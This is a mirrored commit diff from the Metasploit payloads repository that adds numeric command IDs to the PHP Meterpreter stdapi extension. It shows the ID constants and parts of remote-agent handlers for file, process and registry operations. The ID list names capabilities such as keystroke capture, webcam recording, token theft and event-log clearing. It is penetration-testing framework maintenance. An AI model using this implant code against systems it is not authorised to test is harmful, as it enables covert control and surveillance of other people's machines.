mirror of
https://github.com/rapid7/metasploit-payloads
synced 2025-01-02 11:36:22 +01:00
Update PHP meterpreter to support UINT command IDs
This commit is contained in:
parent
c7f7bc2fc0
commit
c9284388d9
@ -170,6 +170,127 @@ define("TLV_TYPE_POWER_REASON", TLV_META_TYPE_UINT | 4101);
|
||||
# errors.
|
||||
define("ERROR_CONNECTION_ERROR", 10000);
|
||||
|
||||
# ---------------------------------------------------------------
|
||||
# --- THIS CONTENT WAS GENERATED BY A TOOL @ 2020-04-29 04:46:37 UTC
|
||||
|
||||
# IDs for stdapi
|
||||
define('COMMAND_ID_STDAPI_FS_CHDIR', 1001);
|
||||
define('COMMAND_ID_STDAPI_FS_CHMOD', 1002);
|
||||
define('COMMAND_ID_STDAPI_FS_DELETE_DIR', 1003);
|
||||
define('COMMAND_ID_STDAPI_FS_DELETE_FILE', 1004);
|
||||
define('COMMAND_ID_STDAPI_FS_FILE_COPY', 1005);
|
||||
define('COMMAND_ID_STDAPI_FS_FILE_EXPAND_PATH', 1006);
|
||||
define('COMMAND_ID_STDAPI_FS_FILE_MOVE', 1007);
|
||||
define('COMMAND_ID_STDAPI_FS_GETWD', 1008);
|
||||
define('COMMAND_ID_STDAPI_FS_LS', 1009);
|
||||
define('COMMAND_ID_STDAPI_FS_MD5', 1010);
|
||||
define('COMMAND_ID_STDAPI_FS_MKDIR', 1011);
|
||||
define('COMMAND_ID_STDAPI_FS_MOUNT_SHOW', 1012);
|
||||
define('COMMAND_ID_STDAPI_FS_SEARCH', 1013);
|
||||
define('COMMAND_ID_STDAPI_FS_SEPARATOR', 1014);
|
||||
define('COMMAND_ID_STDAPI_FS_SHA1', 1015);
|
||||
define('COMMAND_ID_STDAPI_FS_STAT', 1016);
|
||||
define('COMMAND_ID_STDAPI_NET_CONFIG_ADD_ROUTE', 1017);
|
||||
define('COMMAND_ID_STDAPI_NET_CONFIG_GET_ARP_TABLE', 1018);
|
||||
define('COMMAND_ID_STDAPI_NET_CONFIG_GET_INTERFACES', 1019);
|
||||
define('COMMAND_ID_STDAPI_NET_CONFIG_GET_NETSTAT', 1020);
|
||||
define('COMMAND_ID_STDAPI_NET_CONFIG_GET_PROXY', 1021);
|
||||
define('COMMAND_ID_STDAPI_NET_CONFIG_GET_ROUTES', 1022);
|
||||
define('COMMAND_ID_STDAPI_NET_CONFIG_REMOVE_ROUTE', 1023);
|
||||
define('COMMAND_ID_STDAPI_NET_RESOLVE_HOST', 1024);
|
||||
define('COMMAND_ID_STDAPI_NET_RESOLVE_HOSTS', 1025);
|
||||
define('COMMAND_ID_STDAPI_NET_SOCKET_TCP_SHUTDOWN', 1026);
|
||||
define('COMMAND_ID_STDAPI_NET_TCP_CHANNEL_OPEN', 1027);
|
||||
define('COMMAND_ID_STDAPI_RAILGUN_API', 1028);
|
||||
define('COMMAND_ID_STDAPI_RAILGUN_API_MULTI', 1029);
|
||||
define('COMMAND_ID_STDAPI_RAILGUN_MEMREAD', 1030);
|
||||
define('COMMAND_ID_STDAPI_RAILGUN_MEMWRITE', 1031);
|
||||
define('COMMAND_ID_STDAPI_REGISTRY_CHECK_KEY_EXISTS', 1032);
|
||||
define('COMMAND_ID_STDAPI_REGISTRY_CLOSE_KEY', 1033);
|
||||
define('COMMAND_ID_STDAPI_REGISTRY_CREATE_KEY', 1034);
|
||||
define('COMMAND_ID_STDAPI_REGISTRY_DELETE_KEY', 1035);
|
||||
define('COMMAND_ID_STDAPI_REGISTRY_DELETE_VALUE', 1036);
|
||||
define('COMMAND_ID_STDAPI_REGISTRY_ENUM_KEY', 1037);
|
||||
define('COMMAND_ID_STDAPI_REGISTRY_ENUM_KEY_DIRECT', 1038);
|
||||
define('COMMAND_ID_STDAPI_REGISTRY_ENUM_VALUE', 1039);
|
||||
define('COMMAND_ID_STDAPI_REGISTRY_ENUM_VALUE_DIRECT', 1040);
|
||||
define('COMMAND_ID_STDAPI_REGISTRY_LOAD_KEY', 1041);
|
||||
define('COMMAND_ID_STDAPI_REGISTRY_OPEN_KEY', 1042);
|
||||
define('COMMAND_ID_STDAPI_REGISTRY_OPEN_REMOTE_KEY', 1043);
|
||||
define('COMMAND_ID_STDAPI_REGISTRY_QUERY_CLASS', 1044);
|
||||
define('COMMAND_ID_STDAPI_REGISTRY_QUERY_VALUE', 1045);
|
||||
define('COMMAND_ID_STDAPI_REGISTRY_QUERY_VALUE_DIRECT', 1046);
|
||||
define('COMMAND_ID_STDAPI_REGISTRY_SET_VALUE', 1047);
|
||||
define('COMMAND_ID_STDAPI_REGISTRY_SET_VALUE_DIRECT', 1048);
|
||||
define('COMMAND_ID_STDAPI_REGISTRY_UNLOAD_KEY', 1049);
|
||||
define('COMMAND_ID_STDAPI_SYS_CONFIG_DRIVER_LIST', 1050);
|
||||
define('COMMAND_ID_STDAPI_SYS_CONFIG_DROP_TOKEN', 1051);
|
||||
define('COMMAND_ID_STDAPI_SYS_CONFIG_GETENV', 1052);
|
||||
define('COMMAND_ID_STDAPI_SYS_CONFIG_GETPRIVS', 1053);
|
||||
define('COMMAND_ID_STDAPI_SYS_CONFIG_GETSID', 1054);
|
||||
define('COMMAND_ID_STDAPI_SYS_CONFIG_GETUID', 1055);
|
||||
define('COMMAND_ID_STDAPI_SYS_CONFIG_LOCALTIME', 1056);
|
||||
define('COMMAND_ID_STDAPI_SYS_CONFIG_REV2SELF', 1057);
|
||||
define('COMMAND_ID_STDAPI_SYS_CONFIG_STEAL_TOKEN', 1058);
|
||||
define('COMMAND_ID_STDAPI_SYS_CONFIG_SYSINFO', 1059);
|
||||
define('COMMAND_ID_STDAPI_SYS_EVENTLOG_CLEAR', 1060);
|
||||
define('COMMAND_ID_STDAPI_SYS_EVENTLOG_CLOSE', 1061);
|
||||
define('COMMAND_ID_STDAPI_SYS_EVENTLOG_NUMRECORDS', 1062);
|
||||
define('COMMAND_ID_STDAPI_SYS_EVENTLOG_OLDEST', 1063);
|
||||
define('COMMAND_ID_STDAPI_SYS_EVENTLOG_OPEN', 1064);
|
||||
define('COMMAND_ID_STDAPI_SYS_EVENTLOG_READ', 1065);
|
||||
define('COMMAND_ID_STDAPI_SYS_POWER_EXITWINDOWS', 1066);
|
||||
define('COMMAND_ID_STDAPI_SYS_PROCESS_ATTACH', 1067);
|
||||
define('COMMAND_ID_STDAPI_SYS_PROCESS_CLOSE', 1068);
|
||||
define('COMMAND_ID_STDAPI_SYS_PROCESS_EXECUTE', 1069);
|
||||
define('COMMAND_ID_STDAPI_SYS_PROCESS_GET_INFO', 1070);
|
||||
define('COMMAND_ID_STDAPI_SYS_PROCESS_GET_PROCESSES', 1071);
|
||||
define('COMMAND_ID_STDAPI_SYS_PROCESS_GETPID', 1072);
|
||||
define('COMMAND_ID_STDAPI_SYS_PROCESS_IMAGE_GET_IMAGES', 1073);
|
||||
define('COMMAND_ID_STDAPI_SYS_PROCESS_IMAGE_GET_PROC_ADDRESS', 1074);
|
||||
define('COMMAND_ID_STDAPI_SYS_PROCESS_IMAGE_LOAD', 1075);
|
||||
define('COMMAND_ID_STDAPI_SYS_PROCESS_IMAGE_UNLOAD', 1076);
|
||||
define('COMMAND_ID_STDAPI_SYS_PROCESS_KILL', 1077);
|
||||
define('COMMAND_ID_STDAPI_SYS_PROCESS_MEMORY_ALLOCATE', 1078);
|
||||
define('COMMAND_ID_STDAPI_SYS_PROCESS_MEMORY_FREE', 1079);
|
||||
define('COMMAND_ID_STDAPI_SYS_PROCESS_MEMORY_LOCK', 1080);
|
||||
define('COMMAND_ID_STDAPI_SYS_PROCESS_MEMORY_PROTECT', 1081);
|
||||
define('COMMAND_ID_STDAPI_SYS_PROCESS_MEMORY_QUERY', 1082);
|
||||
define('COMMAND_ID_STDAPI_SYS_PROCESS_MEMORY_READ', 1083);
|
||||
define('COMMAND_ID_STDAPI_SYS_PROCESS_MEMORY_UNLOCK', 1084);
|
||||
define('COMMAND_ID_STDAPI_SYS_PROCESS_MEMORY_WRITE', 1085);
|
||||
define('COMMAND_ID_STDAPI_SYS_PROCESS_THREAD_CLOSE', 1086);
|
||||
define('COMMAND_ID_STDAPI_SYS_PROCESS_THREAD_CREATE', 1087);
|
||||
define('COMMAND_ID_STDAPI_SYS_PROCESS_THREAD_GET_THREADS', 1088);
|
||||
define('COMMAND_ID_STDAPI_SYS_PROCESS_THREAD_OPEN', 1089);
|
||||
define('COMMAND_ID_STDAPI_SYS_PROCESS_THREAD_QUERY_REGS', 1090);
|
||||
define('COMMAND_ID_STDAPI_SYS_PROCESS_THREAD_RESUME', 1091);
|
||||
define('COMMAND_ID_STDAPI_SYS_PROCESS_THREAD_SET_REGS', 1092);
|
||||
define('COMMAND_ID_STDAPI_SYS_PROCESS_THREAD_SUSPEND', 1093);
|
||||
define('COMMAND_ID_STDAPI_SYS_PROCESS_THREAD_TERMINATE', 1094);
|
||||
define('COMMAND_ID_STDAPI_SYS_PROCESS_WAIT', 1095);
|
||||
define('COMMAND_ID_STDAPI_UI_DESKTOP_ENUM', 1096);
|
||||
define('COMMAND_ID_STDAPI_UI_DESKTOP_GET', 1097);
|
||||
define('COMMAND_ID_STDAPI_UI_DESKTOP_SCREENSHOT', 1098);
|
||||
define('COMMAND_ID_STDAPI_UI_DESKTOP_SET', 1099);
|
||||
define('COMMAND_ID_STDAPI_UI_ENABLE_KEYBOARD', 1100);
|
||||
define('COMMAND_ID_STDAPI_UI_ENABLE_MOUSE', 1101);
|
||||
define('COMMAND_ID_STDAPI_UI_GET_IDLE_TIME', 1102);
|
||||
define('COMMAND_ID_STDAPI_UI_GET_KEYS_UTF8', 1103);
|
||||
define('COMMAND_ID_STDAPI_UI_SEND_KEYEVENT', 1104);
|
||||
define('COMMAND_ID_STDAPI_UI_SEND_KEYS', 1105);
|
||||
define('COMMAND_ID_STDAPI_UI_SEND_MOUSE', 1106);
|
||||
define('COMMAND_ID_STDAPI_UI_START_KEYSCAN', 1107);
|
||||
define('COMMAND_ID_STDAPI_UI_STOP_KEYSCAN', 1108);
|
||||
define('COMMAND_ID_STDAPI_UI_UNLOCK_DESKTOP', 1109);
|
||||
define('COMMAND_ID_STDAPI_WEBCAM_AUDIO_RECORD', 1110);
|
||||
define('COMMAND_ID_STDAPI_WEBCAM_GET_FRAME', 1111);
|
||||
define('COMMAND_ID_STDAPI_WEBCAM_LIST', 1112);
|
||||
define('COMMAND_ID_STDAPI_WEBCAM_START', 1113);
|
||||
define('COMMAND_ID_STDAPI_WEBCAM_STOP', 1114);
|
||||
|
||||
# ---------------------------------------------------------------
|
||||
|
||||
# Wrap everything in checks for existence of the new functions in case we get
|
||||
# eval'd twice
|
||||
my_print("Evaling stdapi");
|
||||
@ -319,7 +440,7 @@ function add_stat_buf($path) {
|
||||
# traditionally used this to get environment variables from the server.
|
||||
#
|
||||
if (!function_exists('stdapi_fs_file_expand_path')) {
|
||||
register_command('stdapi_fs_file_expand_path');
|
||||
register_command('stdapi_fs_file_expand_path', COMMAND_ID_STDAPI_FS_FILE_EXPAND_PATH);
|
||||
function stdapi_fs_file_expand_path($req, &$pkt) {
|
||||
my_print("doing expand_path");
|
||||
$path_tlv = packet_get_tlv($req, TLV_TYPE_FILE_PATH);
|
||||
@ -358,7 +479,7 @@ function stdapi_fs_file_expand_path($req, &$pkt) {
|
||||
}
|
||||
|
||||
if (!function_exists('stdapi_fs_delete_dir')) {
|
||||
register_command('stdapi_fs_delete_dir');
|
||||
register_command('stdapi_fs_delete_dir', COMMAND_ID_STDAPI_FS_DELETE_DIR);
|
||||
function stdapi_fs_delete_dir($req, &$pkt) {
|
||||
my_print("doing rmdir");
|
||||
$path_tlv = packet_get_tlv($req, TLV_TYPE_DIRECTORY_PATH);
|
||||
@ -368,7 +489,7 @@ function stdapi_fs_delete_dir($req, &$pkt) {
|
||||
}
|
||||
|
||||
if (!function_exists('stdapi_fs_mkdir')) {
|
||||
register_command('stdapi_fs_mkdir');
|
||||
register_command('stdapi_fs_mkdir', COMMAND_ID_STDAPI_FS_MKDIR);
|
||||
function stdapi_fs_mkdir($req, &$pkt) {
|
||||
my_print("doing mkdir");
|
||||
$path_tlv = packet_get_tlv($req, TLV_TYPE_DIRECTORY_PATH);
|
||||
@ -379,7 +500,7 @@ function stdapi_fs_mkdir($req, &$pkt) {
|
||||
|
||||
# works
|
||||
if (!function_exists('stdapi_fs_chdir')) {
|
||||
register_command('stdapi_fs_chdir');
|
||||
register_command('stdapi_fs_chdir', COMMAND_ID_STDAPI_FS_CHDIR);
|
||||
function stdapi_fs_chdir($req, &$pkt) {
|
||||
my_print("doing chdir");
|
||||
$path_tlv = packet_get_tlv($req, TLV_TYPE_DIRECTORY_PATH);
|
||||
@ -388,24 +509,9 @@ function stdapi_fs_chdir($req, &$pkt) {
|
||||
}
|
||||
}
|
||||
|
||||
# works
|
||||
if (!function_exists('stdapi_fs_delete')) {
|
||||
register_command('stdapi_fs_delete');
|
||||
function stdapi_fs_delete($req, &$pkt) {
|
||||
my_print("doing delete");
|
||||
$path_tlv = packet_get_tlv($req, TLV_TYPE_FILE_NAME);
|
||||
$path = canonicalize_path($path_tlv['value']);
|
||||
if (is_windows()) {
|
||||
exec("attrib.exe -r ".$path);
|
||||
}
|
||||
$ret = @unlink($path);
|
||||
return $ret ? ERROR_SUCCESS : ERROR_FAILURE;
|
||||
}
|
||||
}
|
||||
|
||||
# works
|
||||
if (!function_exists('stdapi_fs_file_move')) {
|
||||
register_command('stdapi_fs_file_move');
|
||||
register_command('stdapi_fs_file_move', COMMAND_ID_STDAPI_FS_FILE_MOVE);
|
||||
function stdapi_fs_file_move($req, &$pkt) {
|
||||
my_print("doing mv");
|
||||
$old_file_tlv = packet_get_tlv($req, TLV_TYPE_FILE_NAME);
|
||||
@ -419,7 +525,7 @@ function stdapi_fs_file_move($req, &$pkt) {
|
||||
|
||||
# works
|
||||
if (!function_exists('stdapi_fs_file_copy')) {
|
||||
register_command('stdapi_fs_file_copy');
|
||||
register_command('stdapi_fs_file_copy', COMMAND_ID_STDAPI_FS_FILE_COPY);
|
||||
function stdapi_fs_file_copy($req, &$pkt) {
|
||||
my_print("doing cp");
|
||||
$old_file_tlv = packet_get_tlv($req, TLV_TYPE_FILE_NAME);
|
||||
@ -433,7 +539,7 @@ function stdapi_fs_file_copy($req, &$pkt) {
|
||||
|
||||
# works on Unix systems but probably not on Windows
|
||||
if (!function_exists('stdapi_fs_chmod') && !is_windows()) {
|
||||
register_command('stdapi_fs_chmod');
|
||||
register_command('stdapi_fs_chmod', COMMAND_ID_STDAPI_FS_CHMOD);
|
||||
function stdapi_fs_chmod($req, &$pkt) {
|
||||
my_print("doing chmod");
|
||||
$path_tlv = packet_get_tlv($req, TLV_TYPE_FILE_PATH);
|
||||
@ -447,7 +553,7 @@ function stdapi_fs_chmod($req, &$pkt) {
|
||||
|
||||
# works
|
||||
if (!function_exists('stdapi_fs_getwd')) {
|
||||
register_command('stdapi_fs_getwd');
|
||||
register_command('stdapi_fs_getwd', COMMAND_ID_STDAPI_FS_GETWD);
|
||||
function stdapi_fs_getwd($req, &$pkt) {
|
||||
my_print("doing pwd");
|
||||
packet_add_tlv($pkt, create_tlv(TLV_TYPE_DIRECTORY_PATH, getcwd()));
|
||||
@ -458,7 +564,7 @@ function stdapi_fs_getwd($req, &$pkt) {
|
||||
# works partially, need to get the path argument to mean the same thing as in
|
||||
# windows
|
||||
if (!function_exists('stdapi_fs_ls')) {
|
||||
register_command('stdapi_fs_ls');
|
||||
register_command('stdapi_fs_ls', COMMAND_ID_STDAPI_FS_LS);
|
||||
function stdapi_fs_ls($req, &$pkt) {
|
||||
my_print("doing ls");
|
||||
$path_tlv = packet_get_tlv($req, TLV_TYPE_DIRECTORY_PATH);
|
||||
@ -485,7 +591,7 @@ function stdapi_fs_ls($req, &$pkt) {
|
||||
}
|
||||
|
||||
if (!function_exists('stdapi_fs_separator')) {
|
||||
register_command('stdapi_fs_separator');
|
||||
register_command('stdapi_fs_separator', COMMAND_ID_STDAPI_FS_SEPARATOR);
|
||||
function stdapi_fs_separator($req, &$pkt) {
|
||||
packet_add_tlv($pkt, create_tlv(TLV_TYPE_STRING, DIRECTORY_SEPARATOR));
|
||||
return ERROR_SUCCESS;
|
||||
@ -493,7 +599,7 @@ function stdapi_fs_separator($req, &$pkt) {
|
||||
}
|
||||
|
||||
if (!function_exists('stdapi_fs_stat')) {
|
||||
register_command('stdapi_fs_stat');
|
||||
register_command('stdapi_fs_stat', COMMAND_ID_STDAPI_FS_STAT);
|
||||
function stdapi_fs_stat($req, &$pkt) {
|
||||
my_print("doing stat");
|
||||
$path_tlv = packet_get_tlv($req, TLV_TYPE_FILE_PATH);
|
||||
@ -510,7 +616,7 @@ function stdapi_fs_stat($req, &$pkt) {
|
||||
|
||||
# works
|
||||
if (!function_exists('stdapi_fs_delete_file')) {
|
||||
register_command('stdapi_fs_delete_file');
|
||||
register_command('stdapi_fs_delete_file', COMMAND_ID_STDAPI_FS_DELETE_FILE);
|
||||
function stdapi_fs_delete_file($req, &$pkt) {
|
||||
my_print("doing delete");
|
||||
$path_tlv = packet_get_tlv($req, TLV_TYPE_FILE_PATH);
|
||||
@ -526,7 +632,7 @@ function stdapi_fs_delete_file($req, &$pkt) {
|
||||
}
|
||||
|
||||
if (!function_exists('stdapi_fs_search')) {
|
||||
register_command('stdapi_fs_search');
|
||||
register_command('stdapi_fs_search', COMMAND_ID_STDAPI_FS_SEARCH);
|
||||
function stdapi_fs_search($req, &$pkt) {
|
||||
my_print("doing search");
|
||||
|
||||
@ -566,7 +672,7 @@ function stdapi_fs_search($req, &$pkt) {
|
||||
|
||||
|
||||
if (!function_exists('stdapi_fs_md5')) {
|
||||
register_command("stdapi_fs_md5");
|
||||
register_command("stdapi_fs_md5", COMMAND_ID_STDAPI_FS_MD5);
|
||||
function stdapi_fs_md5($req, &$pkt) {
|
||||
$path_tlv = packet_get_tlv($req, TLV_TYPE_FILE_PATH);
|
||||
$path = canonicalize_path($path_tlv['value']);
|
||||
@ -584,7 +690,7 @@ function stdapi_fs_md5($req, &$pkt) {
|
||||
|
||||
|
||||
if (!function_exists('stdapi_fs_sha1')) {
|
||||
register_command("stdapi_fs_sha1");
|
||||
register_command("stdapi_fs_sha1", COMMAND_ID_STDAPI_FS_SHA1);
|
||||
function stdapi_fs_sha1($req, &$pkt) {
|
||||
$path_tlv = packet_get_tlv($req, TLV_TYPE_FILE_PATH);
|
||||
$path = canonicalize_path($path_tlv['value']);
|
||||
@ -605,9 +711,8 @@ function stdapi_fs_sha1($req, &$pkt) {
|
||||
|
||||
# works
|
||||
if (!function_exists('stdapi_sys_config_getuid')) {
|
||||
register_command('stdapi_sys_config_getuid');
|
||||
register_command('stdapi_sys_config_getuid', COMMAND_ID_STDAPI_SYS_CONFIG_GETUID);
|
||||
function stdapi_sys_config_getuid($req, &$pkt) {
|
||||
my_print("doing getuid");
|
||||
if (is_callable('posix_getuid')) {
|
||||
$uid = posix_getuid();
|
||||
$pwinfo = posix_getpwuid($uid);
|
||||
@ -618,13 +723,14 @@ function stdapi_sys_config_getuid($req, &$pkt) {
|
||||
# instead.
|
||||
$user = get_current_user() . " (" . getmyuid() . ")";
|
||||
}
|
||||
my_print("getuid - returning: " . $user);
|
||||
packet_add_tlv($pkt, create_tlv(TLV_TYPE_USER_NAME, $user));
|
||||
return ERROR_SUCCESS;
|
||||
}
|
||||
}
|
||||
|
||||
if (!function_exists('stdapi_sys_config_getenv')) {
|
||||
register_command('stdapi_sys_config_getenv');
|
||||
register_command('stdapi_sys_config_getenv', COMMAND_ID_STDAPI_SYS_CONFIG_GETENV);
|
||||
function stdapi_sys_config_getenv($req, &$pkt) {
|
||||
my_print("doing getenv");
|
||||
|
||||
@ -658,18 +764,9 @@ function stdapi_sys_config_getenv($req, &$pkt) {
|
||||
}
|
||||
|
||||
|
||||
# Unimplemented becuase it's unimplementable
|
||||
#if (!function_exists('stdapi_sys_config_rev2self')) {
|
||||
#register_command('stdapi_sys_config_rev2self');
|
||||
#function stdapi_sys_config_rev2self($req, &$pkt) {
|
||||
# my_print("doing rev2self");
|
||||
# return ERROR_FAILURE;
|
||||
#}
|
||||
#}
|
||||
|
||||
# works
|
||||
if (!function_exists('stdapi_sys_config_sysinfo')) {
|
||||
register_command('stdapi_sys_config_sysinfo');
|
||||
register_command('stdapi_sys_config_sysinfo', COMMAND_ID_STDAPI_SYS_CONFIG_SYSINFO);
|
||||
function stdapi_sys_config_sysinfo($req, &$pkt) {
|
||||
my_print("doing sysinfo");
|
||||
packet_add_tlv($pkt, create_tlv(TLV_TYPE_COMPUTER_NAME, php_uname("n")));
|
||||
@ -679,7 +776,7 @@ function stdapi_sys_config_sysinfo($req, &$pkt) {
|
||||
}
|
||||
|
||||
if (!function_exists('stdapi_sys_config_localtime')) {
|
||||
register_command('stdapi_sys_config_localtime');
|
||||
register_command('stdapi_sys_config_localtime', COMMAND_ID_STDAPI_SYS_CONFIG_LOCALTIME);
|
||||
function stdapi_sys_config_localtime($req, &$pkt) {
|
||||
my_print("doing localtime");
|
||||
packet_add_tlv($pkt, create_tlv(TLV_TYPE_LOCAL_DATETIME, strftime("%Y-%m-%d %H:%M:%S %Z (UTC%z)")));
|
||||
@ -691,7 +788,7 @@ function stdapi_sys_config_localtime($req, &$pkt) {
|
||||
$GLOBALS['processes'] = array();
|
||||
|
||||
if (!function_exists('stdapi_sys_process_execute')) {
|
||||
register_command('stdapi_sys_process_execute');
|
||||
register_command('stdapi_sys_process_execute', COMMAND_ID_STDAPI_SYS_PROCESS_EXECUTE);
|
||||
function stdapi_sys_process_execute($req, &$pkt) {
|
||||
global $channel_process_map, $processes;
|
||||
|
||||
@ -766,7 +863,7 @@ function stdapi_sys_process_execute($req, &$pkt) {
|
||||
|
||||
|
||||
if (!function_exists('stdapi_sys_process_close')) {
|
||||
register_command('stdapi_sys_process_close');
|
||||
register_command('stdapi_sys_process_close', COMMAND_ID_STDAPI_SYS_PROCESS_CLOSE);
|
||||
function stdapi_sys_process_close($req, &$pkt) {
|
||||
global $processes;
|
||||
my_print("doing process_close");
|
||||
@ -820,7 +917,7 @@ function close_process($proc) {
|
||||
# to decide what options to send to ps for portability and for information
|
||||
# usefulness.
|
||||
if (!function_exists('stdapi_sys_process_get_processes')) {
|
||||
register_command('stdapi_sys_process_get_processes');
|
||||
register_command('stdapi_sys_process_get_processes', COMMAND_ID_STDAPI_SYS_PROCESS_GET_PROCESSES);
|
||||
function stdapi_sys_process_get_processes($req, &$pkt) {
|
||||
my_print("doing get_processes");
|
||||
$list = array();
|
||||
@ -870,7 +967,7 @@ function stdapi_sys_process_get_processes($req, &$pkt) {
|
||||
|
||||
# works
|
||||
if (!function_exists('stdapi_sys_process_getpid')) {
|
||||
register_command('stdapi_sys_process_getpid');
|
||||
register_command('stdapi_sys_process_getpid', COMMAND_ID_STDAPI_SYS_PROCESS_GETPID);
|
||||
function stdapi_sys_process_getpid($req, &$pkt) {
|
||||
my_print("doing getpid");
|
||||
packet_add_tlv($pkt, create_tlv(TLV_TYPE_PID, getmypid()));
|
||||
@ -879,7 +976,7 @@ function stdapi_sys_process_getpid($req, &$pkt) {
|
||||
}
|
||||
|
||||
if (!function_exists('stdapi_sys_process_kill')) {
|
||||
register_command('stdapi_sys_process_kill');
|
||||
register_command('stdapi_sys_process_kill', COMMAND_ID_STDAPI_SYS_PROCESS_KILL);
|
||||
function stdapi_sys_process_kill($req, &$pkt) {
|
||||
# The existence of posix_kill is unlikely (it's a php compile-time option
|
||||
# that isn't enabled by default, but better to try it and avoid shelling
|
||||
@ -910,7 +1007,7 @@ function stdapi_sys_process_kill($req, &$pkt) {
|
||||
}
|
||||
|
||||
if (!function_exists('stdapi_net_socket_tcp_shutdown')) {
|
||||
register_command('stdapi_net_socket_tcp_shutdown');
|
||||
register_command('stdapi_net_socket_tcp_shutdown', COMMAND_ID_STDAPI_NET_SOCKET_TCP_SHUTDOWN);
|
||||
function stdapi_net_socket_tcp_shutdown($req, &$pkt) {
|
||||
my_print("doing stdapi_net_socket_tcp_shutdown");
|
||||
$cid_tlv = packet_get_tlv($req, TLV_TYPE_CHANNEL_ID);
|
||||
@ -952,7 +1049,7 @@ function deregister_registry_key($id) {
|
||||
|
||||
if (!function_exists('stdapi_registry_create_key')) {
|
||||
if (is_windows() and is_callable('reg_open_key')) {
|
||||
register_command('stdapi_registry_create_key');
|
||||
register_command('stdapi_registry_create_key', COMMAND_ID_STDAPI_REGISTRY_CREATE_KEY);
|
||||
}
|
||||
function stdapi_registry_create_key($req, &$pkt) {
|
||||
my_print("doing stdapi_registry_create_key");
|
||||
@ -988,7 +1085,7 @@ function stdapi_registry_create_key($req, &$pkt) {
|
||||
|
||||
if (!function_exists('stdapi_registry_close_key')) {
|
||||
if (is_windows() and is_callable('reg_open_key')) {
|
||||
register_command('stdapi_registry_close_key');
|
||||
register_command('stdapi_registry_close_key', COMMAND_ID_STDAPI_REGISTRY_CLOSE_KEY);
|
||||
}
|
||||
function stdapi_registry_close_key($req, &$pkt) {
|
||||
if (is_windows() and is_callable('reg_open_key')) {
|
||||
@ -1009,7 +1106,7 @@ function stdapi_registry_close_key($req, &$pkt) {
|
||||
|
||||
if (!function_exists('stdapi_registry_query_value')) {
|
||||
if (is_windows() and is_callable('reg_open_key')) {
|
||||
register_command('stdapi_registry_query_value');
|
||||
register_command('stdapi_registry_query_value', COMMAND_ID_STDAPI_REGISTRY_QUERY_VALUE);
|
||||
}
|
||||
function stdapi_registry_query_value($req, &$pkt) {
|
||||
if (is_windows() and is_callable('reg_open_key')) {
|
||||
|
File diff suppressed because it is too large
Load Diff
Loading…
Reference in New Issue
Block a user